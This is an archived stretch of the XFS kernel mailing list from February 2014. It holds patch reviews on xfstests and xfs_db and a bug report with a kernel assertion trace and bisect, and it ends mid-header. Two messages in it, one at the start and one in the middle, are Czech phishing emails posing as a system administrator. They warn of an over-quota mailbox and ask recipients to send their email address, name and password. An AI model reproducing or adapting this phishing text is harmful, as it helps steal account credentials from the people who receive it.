mail.oefa.gob.pe[190.116.34.227] X-Barracuda-Start-Time: 1391983846 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.01 X-Barracuda-Spam-Status: No, SCORE=2.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0141, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.00 BSF_SC0_MV0141 Custom rule MV0141 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli=20 V=C3=A1=C5=A1 e-mail prekrocil 2GB, kter=C3=BD je vytvoren pro webmastery, = m=C3=A1te v soucasn=C3=A9 dobe be=C5=BE=C3=AD na 2,30 GB, nebudete moci ode= s=C3=ADlat nebo prij=C3=ADmat nov=C3=A9 zpr=C3=A1vy, dokud se zkontrolovat = va=C5=A1e account.Complete n=C3=AD=C5=BEe uveden=C3=BD formul=C3=A1r pro ov= eren=C3=AD va=C5=A1eho =C3=BActu.=20 =20 Vyplnte pros=C3=ADm n=C3=AD=C5=BEe podrobnosti k potvrzen=C3=AD va=C5=A1eho= =C3=BActu=20 =20 (1) E-mail:=20 (2) N=C3=A1zev:=20 (3): Heslo:=20 (4) Potvrdit heslo:=20 =20 dekuji=20 spr=C3=A1vce syst=C3=A9mu --=20 Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est=E1 limpio. For all your IT requirements visit: http://www.transtec.co.uk From david@fromorbit.com Sun Feb 9 17:03:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2459F7F3F for ; Sun, 9 Feb 2014 17:03:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 06C3D304043 for ; Sun, 9 Feb 2014 15:03:08 -0800 (PST) X-ASG-Debug-ID: 1391986983-04cbb00c292209a0001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 8N6aKRUyhnBxgD7c for ; Sun, 09 Feb 2014 15:03:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ai4SAMsH+FJ5LGaB/2dsb2JhbABYgww4gwamKwORDIVfgQYXdIIlAQEFOhwjEAgDGAklDwUlAyETiAQOx3EXFoxpgSdXB4Q4BJgqkiKDQSiBLQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 09:33:01 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCdOt-0000Cy-2y; Mon, 10 Feb 2014 10:02:59 +1100 Date: Mon, 10 Feb 2014 10:02:59 +1100 From: Dave Chinner To: Koen De Wit Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks Message-ID: <20140209230259.GK13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks References: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> <20140207224934.GH13647@dastard> <52F5EB3B.5030902@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F5EB3B.5030902@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391986983 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144977 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 08, 2014 at 09:30:51AM +0100, Koen De Wit wrote: > On 02/07/2014 11:49 PM, Dave Chinner wrote: > >On Fri, Feb 07, 2014 at 06:14:45PM +0100, Koen De Wit wrote: > > echo -n "$xattr_value" | md5sum > > ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file > > ${ATTR_PROG} -Lq -g attr_$char $file | md5sum > > ${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum > > > >is all that neds to be done here. > > The problem with this is that the length of the output will depend on the page size. The code above runs for every valid leafsize, which can be any multiple of the page size up to 64KB, as defined in the loop initialization: > for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do That's only a limit on the mkfs leafsize parameter, yes? An the limiation is that the leaf size can't be smaller than page size? So really, the attribute sizes that are being tested are independent of the mkfs parameters being tested. i.e: for attrsize in `seq 4 4 64`; do if [ $attrsize -lt $pagesize ]; then leafsize=$pagesize else leafsize=$attrsize fi $BTRFS_MKFS_PROG -l $leafsize $SCRATCH_DEV And now the test executes a fixed loop, testing the same attribute sizes on all the filesystems under test. i.e. the attribute sizes being tested are *independent* of the mkfs parameters being tested. Always test the same attribute sizes, the mkfs parameters simply vary by page size. > >>+_scratch_unmount + +# Some illegal leafsizes + +_scratch_mkfs > >>-l 0 2>> $seqres.full +echo $? > >Same again - you are dumping the error output into a different > >file, then detecting the error manually. pass the output of > >_scratch_mkfs through a filter, and let errors cause golden > >output mismatches. > > I did this to make the golden output not depend on the output of > mkfs.btrfs, inspired by > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=fd7a8e885732475c17488e28b569ac1530c8eb59 > and > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=78d86b996c9c431542fdbac11fa08764b16ceb7d > However, in my opinion the test should simply be updated if the > output of mkfs.btrfs changes, so I agree with you and I fixed this > in v2. While I agree with the sentiment, I'm questioning the implementation. i.e. you've done this differently to every other test that needs to check for failures. run_check woul dbe just fine, as would be simply filtering the output of mkfs. FWIW, the method for detecting the cp error in the second commit is for a very specific case. It could have also been done with a filter, as we have done in the past with such error messages. So what's good for one case is not necessarily the right way to handle the output for another. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 9 17:22:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2DC327F3F for ; Sun, 9 Feb 2014 17:22:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5180AC005 for ; Sun, 9 Feb 2014 15:22:53 -0800 (PST) X-ASG-Debug-ID: 1391988168-04bdf0734c88d60001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id jQAq9JAsCCUZ9YIK for ; Sun, 09 Feb 2014 15:22:49 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAHcM+FJ5LGaB/2dsb2JhbABZgwyDPrc6hV+BBhd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4d9B8gLFxaOZweEOASYKopQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 09:52:48 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCdhz-0000Em-Ez; Mon, 10 Feb 2014 10:22:43 +1100 Date: Mon, 10 Feb 2014 10:22:43 +1100 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields Message-ID: <20140209232243.GL13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> <20140207223327.GG13647@dastard> <52F56891.5020305@sgi.com> <20140208083012.GI13647@dastard> <52F669CA.7050000@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F669CA.7050000@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1391988168 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144977 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 08, 2014 at 11:30:50AM -0600, Mark Tinguely wrote: > On 02/08/14 02:30, Dave Chinner wrote: > >On Fri, Feb 07, 2014 at 05:13:21PM -0600, Mark Tinguely wrote: > >>On 02/07/14 16:33, Dave Chinner wrote: > >>>On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: > >>>>@@ -526,16 +527,20 @@ convert_arg( > >>>> */ > >>>> *value = strtoll(arg, NULL, 0); > >>> > >>>If we are touching this code, the return value here should be error > >>>checked. > >>> > >>>xfs_db> write u3.bmx[0].startblock 3rgfdw > >>>u3.bmx[0].startblock = 52776558133248 > >> > >>hmm, It should stop at 3. I will take a look. > > > >Even if it stops at 3, that's still wrong because it's failed to > >process the entire user input.... > > > >>>xfs_db> write u3.bmx[0].startblock x3rgfdw > >>>u3.bmx[0].startblock = 0 > >>>xfs_db> > >>> > >>>i.e. it accepts garbage rather than erroring out. > >> > >>as does all the other writes ... > >>xfs_db> write core.nblocks x3rgfdw > >>core.nblocks = 0 > >> > >>Fixing convert_arg() is beyond the scope of just this patch. > > > >Sure, but I'm not asking you to fix all of convert_args in this > >patch, just asking you to do a complete job of fixing the bitval > >input processing in this patch. > > > >But, seeing as you've raised that convert_args() has other broken > >paths, can you also write new patches to address those issues? It > >won't take you long while all this code is fresh in your mind, and > >if you do it now it won't get dropped on the floor until somebody > >else hits it a couple of years down the track... > > > > It needs to be split up. write_string() needs string inputs, > write_struct() need numeric inputs. write_struct() handles every type of possible input - string varables, integers, UUIDs, etc. i.e. something like xfs_db> write sb.uuid runs through write_struct(), it finds the uuid field definition in the superblock description and then calls convert_args() on it to convert the uuid format input. IOWs, convert_args() needs to handle all the types of input. Hence you might like to factor convert_args, but it still needs to handle arbitrary input types. > Who uses the UUID-style hex > blocks? It feels like a black hole of time. Obvious answer: UUIDs $ git grep FLDT_UUID db/agf.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, db/agfl.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, db/agi.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.l.bb_uuid)), C1, 0, TYP_NONE }, db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, db/btblock.c: { "uuid", FLDT_UUID, OI(OFF(u.s.bb_uuid)), C1, 0, TYP_NONE }, db/dir2.c: { "uuid", FLDT_UUID, OI(DBH3OFF(uuid)), C1, 0, TYP_NONE }, db/dir2.c: { "uuid", FLDT_UUID, OI(DB3OFF(uuid)), C1, 0, TYP_NONE }, db/dquot.c: { "uuid", FLDT_UUID, OI(DDOFF(uuid)), C1, 0, TYP_NONE }, db/field.c: { FLDT_UUID, "uuid", fp_uuid, NULL, SI(bitsz(uuid_t)), 0, NULL, N db/field.h: FLDT_UUID, db/inode.c: { "uuid", FLDT_UUID, OI(COFF(uuid)), C1, 0, TYP_NONE }, db/inode.c: { "muuid", FLDT_UUID, NULL, inode_u_muuid_count, FLD_COUNT, TYP_N db/sb.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, db/symlink.c: { "uuid", FLDT_UUID, OI(OFF(uuid)), C1, 0, TYP_NONE }, $ Slightly less obvious answer is writing arbitrary binary data to block regions in structures, such as writing multiple entries in an array in a single command (e.g. FLD_ARRAY structure sections). I've used this to move sections of directory blocks around in the past.... > It goes on my 'off the clock' to do list. Ok, I'll just assume that means it'll never get done so I'll get a pleasent surprise when you send the patch tomorrow.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From ds112@oefa.gob.pe Sun Feb 9 17:48:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 149857F4E for ; Sun, 9 Feb 2014 17:48:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E522F304043 for ; Sun, 9 Feb 2014 15:48:32 -0800 (PST) X-ASG-Debug-ID: 1391989697-04cbb00c28223740001-NocioJ Received: from mail.oefa.gob.pe (mail.oefa.gob.pe [190.116.34.227]) by cuda.sgi.com with ESMTP id 1II7eN3BBqcWYxAm for ; Sun, 09 Feb 2014 15:48:17 -0800 (PST) X-Barracuda-Envelope-From: ds112@oefa.gob.pe X-Barracuda-Apparent-Source-IP: 190.116.34.227 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.oefa.gob.pe (Postfix) with ESMTP id 1F9435FBD319; Sun, 9 Feb 2014 18:07:35 -0500 (PET) Received: from mail.oefa.gob.pe ([127.0.0.1]) by localhost (mail.oefa.gob.pe [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6QMhIRywLkoK; Sun, 9 Feb 2014 18:07:35 -0500 (PET) Received: from [10.184.225.155] (unknown [41.203.69.6]) by mail.oefa.gob.pe (Postfix) with ESMTPSA id 43B055FBD2D1; Sun, 9 Feb 2014 18:06:06 -0500 (PET) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGkg?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGkg?= From: "ADMIN" Date: Mon, 10 Feb 2014 00:05:37 +0100 Reply-To: 647812717@qq.com X-Antivirus: avast! (VPS 140209-0, 02/09/2014), Outbound message X-Antivirus-Status: Clean Message-Id: <20140209230607.43B055FBD2D1@mail.oefa.gob.pe> X-OEFA-MailScanner-Information: Please contact the ISP for more information X-OEFA-MailScanner-ID: 43B055FBD2D1.AF807 X-OEFA-MailScanner: Found to be clean X-OEFA-MailScanner-SpamCheck: no es spam (whitelisted), SpamAssassin (almacenado, puntaje=-1, requerido 6, ALL_TRUSTED -1.00) X-OEFA-MailScanner-From: ds112@oefa.gob.pe X-Barracuda-Connect: mail.oefa.gob.pe[190.116.34.227] X-Barracuda-Start-Time: 1391989697 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.00 X-Barracuda-Spam-Status: No, SCORE=2.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0141 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 2.00 BSF_SC0_MV0141 Custom rule MV0141 V=C3=A1=C5=BEen=C3=BD u=C5=BEivateli=20 v=C3=A1=C5=A1 e-mail prekrocil 2GB, kter=C3=BD je vytvoren pro webmastery, = m=C3=A1te v soucasn=C3=A9 dobe be=C5=BE=C3=AD na=20 2,30gigabajt, nemu=C5=BEete odes=C3=ADlat nebo prij=C3=ADmat nov=C3=A9 zpr= =C3=A1vy, dokud si zkontrolovat account.Complete=20 formul=C3=A1r n=C3=AD=C5=BEe pro overen=C3=AD va=C5=A1eho =C3=BActu.=20 Vyplnte pros=C3=ADm n=C3=AD=C5=BEe podrobnosti k potvrzen=C3=AD va=C5=A1eho= =C3=BActu=20 (1) E-mail:=20 (2) N=C3=A1zev:=20 (3): Heslo:=20 (4) Potvrdit heslo:=20 dekuji=20 spr=C3=A1vce syst=C3=A9mu --=20 Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est=E1 limpio. For all your IT requirements visit: http://www.transtec.co.uk From mlsemon35@gmail.com Sun Feb 9 17:57:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C26FA7F4E for ; Sun, 9 Feb 2014 17:57:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7D09F304048 for ; Sun, 9 Feb 2014 15:57:37 -0800 (PST) X-ASG-Debug-ID: 1391990255-04bdf0122023e810001-NocioJ Received: from mail-oa0-f53.google.com (mail-oa0-f53.google.com [209.85.219.53]) by cuda.sgi.com with ESMTP id 9AoGUrWtX11oKeJP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 09 Feb 2014 15:57:36 -0800 (PST) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.219.53 X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] Received: by mail-oa0-f53.google.com with SMTP id m1so6802972oag.12 for ; Sun, 09 Feb 2014 15:57:35 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] X-Barracuda-IPDD: Level1 [gmail.com/209.85.219.53] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; bh=snk2XV4R7UHcKXfePoALhBoOyuBAjcOCmfN3gAProko=; b=kblphQLhsff/mwAvYzq7RBqv9FGMxLk7KU/WYUe8tLQDTiYV0aHB3bf+EWnI6G6KkG RBkoyBb2ww5cS2HPt99a1AoeNs3ewxZBALFrAvK06dge81auEaWxri8rm3w8tdAFd3JG yyUui6WYf+5/ZkMbNL4V4HQjcmulehSBzpQtlXRxy4S9/B7kxVekMwr1f4nyXCk6GtVr IqRZ4YdL4kpgMmIXSZihKRrpis9fmVKJgpj4I7+xDlHfP0Xu9q19gMidpjpz/aMI4Kog Z7SCM2RDT3VktwVbESbKPGRXiNOYwbUIIUeWocjK7LDgCAR3IjcwNemAgn4WohgJl4gA SkKQ== X-Received: by 10.182.128.138 with SMTP id no10mr24302643obb.32.1391990255484; Sun, 09 Feb 2014 15:57:35 -0800 (PST) Received: from [192.168.0.129] (rrcs-97-79-21-178.se.biz.rr.com. [97.79.21.178]) by mx.google.com with ESMTPSA id tr7sm14562948oec.0.2014.02.09.15.57.34 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 09 Feb 2014 15:57:35 -0800 (PST) Message-ID: <52F815EE.3030600@gmail.com> Date: Sun, 09 Feb 2014 18:57:34 -0500 From: "Michael L. Semon" User-Agent: Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: XFS on 3.14.0-rc1 (x86): xfs_isilocked() assertion on realtime subvolume Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: XFS on 3.14.0-rc1 (x86): xfs_isilocked() assertion on realtime subvolume Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-oa0-f53.google.com[209.85.219.53] X-Barracuda-Start-Time: 1391990256 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144978 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi! I was working with realtime subvolumes on a 3.14.0-rc1+ kernel, doing something like this... mkfs.xfs -l logdev=$TEST_LOGDEV -r rtdev=$TEST_RTDEV $TEST_DEV mount -t xfs -o logdev=$TEST_LOGDEV -o rtdev=$TEST_RTDEV $TEST_DEV $TEST_DIR cd $TEST_DIR mkdir testrtdir xfs_io -c 'chattr +t' testrtdir cd testrtdir dd if=/dev/zero of=testrtfile bs=512 count=65536 ...and was greeted by this: XFS: Assertion failed: xfs_isilocked(ip, XFS_ILOCK_SHARED|XFS_ILOCK_EXCL), file: fs/xfs/xfs_bmap.c, line: 4016 ------------[ cut here ]------------ kernel BUG at fs/xfs/xfs_message.c:107! invalid opcode: 0000 [#1] CPU: 0 PID: 279 Comm: dd Not tainted 3.13.0+ #11 Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 task: c6044f40 ti: c6088000 task.ti: c6088000 EIP: 0060:[<79150f60>] EFLAGS: 00010286 CPU: 0 EIP is at assfail+0x2b/0x2d EAX: 0000006e EBX: c6a7e500 ECX: 794ecef0 EDX: 794e9aa4 ESI: 00000000 EDI: c6001800 EBP: c60898e0 ESP: c60898cc DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 CR0: 8005003b CR2: 0804cad0 CR3: 4d4f6000 CR4: 000007d0 Stack: 00000000 794876b0 7948a814 7947fe84 00000fb0 c6089978 7916e73c c60fa2c0 c60fa2c0 c60e1e00 c6089918 c6c01e80 c606c000 c60fa2c0 c606c000 c6089918 79157bb8 c60fa2c0 c60e1e00 c6089930 791a7a79 00000001 00000000 00000000 Call Trace: [<7916e73c>] xfs_bmapi_read+0x89/0x39f [<79157bb8>] ? xfs_trans_add_item+0x58/0x82 [<791a7a79>] ? _xfs_trans_bjoin+0xa5/0xb0 [<791a803c>] ? xfs_trans_read_buf_map+0x2fe/0x54b [<791a4e14>] ? xfs_buf_item_free+0x2d/0x30 [<791b421d>] xfs_rtbuf_get+0x59/0x132 [<791a83fb>] ? xfs_trans_brelse+0x172/0x1c0 [<791b46b7>] ? xfs_rtfind_forw+0x130/0x275 [<791b4860>] xfs_rtmodify_summary+0x64/0xcb [<791b2742>] xfs_rtallocate_range+0xb4/0x17b [<791b2a26>] xfs_rtallocate_extent_exact+0xa4/0xe8 [<791b2aee>] xfs_rtallocate_extent_near+0x84/0x317 [<791588a4>] ? kmem_zone_alloc+0x64/0xe0 [<791588a4>] ? kmem_zone_alloc+0x64/0xe0 [<791b3be1>] xfs_rtallocate_extent+0x1e9/0x233 [<7913c6a5>] xfs_bmap_rtalloc+0x193/0x2d7 [<7916e24b>] xfs_bmap_alloc+0x26/0x2c [<7916f260>] __xfs_bmapi_allocate+0xca/0x32f [<7919c80e>] ? xfs_perag_get+0x1e/0xa7 [<7913c864>] xfs_bmapi_allocate+0x7b/0x81 [<7916fc77>] xfs_bmapi_write+0x648/0xa76 [<7914cd96>] xfs_iomap_write_direct+0x276/0x44b [<7913a4ce>] __xfs_get_blocks+0x398/0x5d3 [<7913a728>] xfs_get_blocks+0x1f/0x25 [<790e39d8>] __block_write_begin+0x10b/0x2d9 [<7913aa57>] xfs_vm_write_begin+0x66/0xdf [<7913a709>] ? __xfs_get_blocks+0x5d3/0x5d3 [<79093ace>] generic_file_buffered_write+0xcd/0x1fe [<791457da>] xfs_file_buffered_aio_write+0xf5/0x16b [<791458f9>] xfs_file_aio_write+0xa9/0xe8 [<790bde06>] do_sync_write+0x56/0x79 [<790bddb0>] ? vfs_read+0x10d/0x10d [<790bdfab>] vfs_write+0x9e/0x189 [<790bddb0>] ? vfs_read+0x10d/0x10d [<790be160>] SyS_write+0x49/0x81 [<79385538>] sysenter_do_call+0x12/0x26 Code: 55 89 e5 83 ec 14 3e 8d 74 26 00 89 4c 24 10 89 54 24 0c 89 44 24 08 c7 44 24 04 b0 76 48 79 c7 04 24 00 00 00 00 e8 ad fd ff ff <0f> 0b 55 89 e5 83 ec 14 3e 8d 74 26 00 c7 44 24 10 01 00 00 00 EIP: [<79150f60>] assfail+0x2b/0x2d SS:ESP 0068:c60898cc A bisect brought me here: root@plbearer:/usr/src/kernel-git/linux# git bisect good eef334e5776c8ef547ada4cec17549929fe590b4 is the first bad commit commit eef334e5776c8ef547ada4cec17549929fe590b4 Author: Christoph Hellwig Date: Fri Dec 6 12:30:17 2013 -0800 xfs: assert that we hold the ilock for extent map access Make sure that xfs_bmapi_read has the ilock held in some way, and that xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are called with the ilock held exclusively. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers :040000 040000 5e579f7be412556585187374aec9ba314a66ddaf 449dc42e832d92fb2d6f8551708135d2ce7d2f79 M fs I scanned over the patch, and indeed, it's almost nothing but new assertions. Very good! Is this particular assert a false positive, or is it a sign that the ilock usage by realtime subvolumes needs to be reviewed? This issue was found and bisected using v4-superblock XFS. A quick test on v5-superblock XFS exhibited the same behavior. The PC was an i686 Pentium 4 running Slackware 14.1. Memory is hazy, but I think that $TEST_DEV was around 19 GB, $TEST_LOGDEV was 128 MB, and $TEST_RTDEV was 1 GB, all normal GPT partitions. Thanks! Michael From david@fromorbit.com Sun Feb 9 18:22:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ACA147F3F for ; Sun, 9 Feb 2014 18:22:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3A21CAC002 for ; Sun, 9 Feb 2014 16:22:14 -0800 (PST) X-ASG-Debug-ID: 1391991728-04cb6c6de322d010001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id raM62jSypVhK4LC1 for ; Sun, 09 Feb 2014 16:22:09 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgYIAIka+FJ5LGaB/2dsb2JhbABRCIMMgz63PIVfgQYXdIIlAQEEAScTHCMFCwgDFAQJJQ8FJQMhE4d9B8gCFxaOEVYHhDgElEKDaIpQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 10:52:08 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WCedQ-0000LF-Oq; Mon, 10 Feb 2014 11:22:04 +1100 Date: Mon, 10 Feb 2014 11:22:04 +1100 From: Dave Chinner To: "Michael L. Semon" Cc: xfs-oss Subject: Re: XFS on 3.14.0-rc1 (x86): xfs_isilocked() assertion 